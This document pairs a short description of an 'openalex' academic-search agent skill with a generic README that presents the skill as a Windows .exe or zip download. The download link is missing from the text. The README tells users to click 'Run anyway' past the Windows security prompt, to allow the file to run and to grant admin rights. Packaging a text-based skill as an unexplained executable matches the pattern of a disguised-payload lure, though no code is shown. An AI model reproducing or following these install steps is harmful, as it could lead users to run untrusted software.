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openalex
Use when the user asks about academic literature, research papers, scholarly works, authors, citations, institutions, journals, or any academic metadata. Trigger when users want to search for papers, find author profiles, track citations, discover related works, or explore academic topics. Also use when users mention DOIs, ORCIDs, h-index, publication venues, or research metrics.
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🧠 openalex-skill - Find papers, citations, and answers fast
🚀 What this tool does
openalex-skill is a simple Windows tool for looking up academic papers, checking citations, and using OpenAlex data in agent workflows. It helps you search for authors, journals, works, and links between papers without needing to learn a complex system.
Use it when you want to:
- Search for papers by title, author, or topic
- Check citation counts
- Find related research
- Pull data from OpenAlex in a clean format
- Support agent and LLM workflows with research data
💻 Before you start
You only need a Windows computer and internet access.
Recommended setup:
- Windows 10 or Windows 11
- A modern browser
- Enough free space to save the app
- Internet access for searches and data fetches
If your system asks for permission when you open the app, choose Allow.
📥 Download openalex-skill
Visit this page to download:
On that page, look for the latest release. Download the file for Windows. If there are multiple files, choose the one that ends with .exe or a Windows zip file.
🪟 Install on Windows
If you downloaded an .exe file:
- Open your Downloads folder
- Double-click the file
- If Windows shows a security prompt, click More info and then Run anyway if you trust the file
- Follow the setup steps on screen
If you downloaded a .zip file:
- Open your Downloads folder
- Right-click the zip file
- Choose Extract All
- Open the extracted folder
- Double-click the app file inside the folder
⚡ First run
After install, open openalex-skill from the Start menu or by double-clicking the app file.
When it starts, you can:
- Enter a search term
- Paste a paper title
- Look up an author
- Ask for citation details
- Use it in a workflow that needs academic data
If the app opens a command window, leave it open while you use it.
🔎 How to use it
openalex-skill is built for simple research tasks.
Try these kinds of searches:
- Paper title search
- Author search
- Topic search
- Citation lookup
- Journal lookup
- Related work search
Example use cases:
- Find papers on a topic like machine learning in education
- Check how many times a paper has been cited
- Find the main authors in a field
- Build a list of sources for a report
- Feed paper data into an agent workflow
🧩 Common workflow
A basic research flow looks like this:
- Search for a paper or topic
- Review the results
- Open the most relevant record
- Check citations and related works
- Save the details you need
This keeps your research work in one place and cuts down on manual searching.
🛠️ Tips for best results
Use short and clear search terms. For example:
climate change and healthdeep learningcitation networksopen access publishing
If a search gives too many results:
- Add the author name
- Add a year
- Add a keyword from the title
- Narrow the topic
If you want more exact results, copy the full paper title and paste it into the search.
📚 What you can expect
This app focuses on practical academic search tasks. It aims to give you:
- Clean search results
- Citation data
- Paper and author details
- Fast access to OpenAlex records
- Output that works well with agent tools
It is useful for students, researchers, writers, and anyone who needs to look up scholarly data without switching between many sites.
🔐 Data source
openalex-skill uses OpenAlex, a large open academic catalog. That means you can search a wide range of scholarly records, including:
- Papers
- Authors
- Institutions
- Journals
- Citations
- Related works
This makes it useful for bibliometrics, literature review work, and agent-assisted research.
🧪 Example tasks
You can use openalex-skill for tasks like:
- Find the most cited papers on a topic
- Look up an author profile
- Check where a paper was published
- Trace citation links between papers
- Gather source data for a research draft
- Support a Claude Code or LLM workflow with paper metadata
🧯 If something does not work
If the app does not open:
- Check that the file finished downloading
- Try running it again
- Make sure Windows did not block it
- Re-download the latest release if the file looks broken
If search results look empty:
- Try a different search term
- Use a full paper title
- Add the author name
- Check your internet connection
If Windows asks for admin permission:
- Choose the option that lets you run the app
- If the prompt keeps returning, move the file to a local folder like Downloads or Desktop
📁 File types you may see
Depending on the release, you may see one of these:
.exefor a direct Windows app.zipfor a packaged release.txtor.mdfiles with extra details
If you are not sure which file to use, choose the Windows app file from the latest release page.
🧭 Quick start
- Open the download page
- Get the latest Windows file
- Open the file
- Allow Windows to run it
- Search for a paper, author, or topic
🧰 Best fit for
- Students
- Researchers
- Analysts
- Librarians
- Writers
- People building agent workflows
- Anyone who wants a simple academic search tool
📌 Search ideas
Try these search terms:
OpenAlex citation searchbibliometricsscholar profilespaper metadataacademic searchresearch workflow
🖥️ Windows use guide
If you want the easiest path:
- Download the latest Windows release
- Save it in Downloads
- Open it with a double-click
- Keep the app open while you search
- Close it when you are done
If you use it often, place a shortcut on your desktop:
- Right-click the app
- Choose Create shortcut
- Drag the shortcut to your desktop
🔗 Download again
Visit this page to download:
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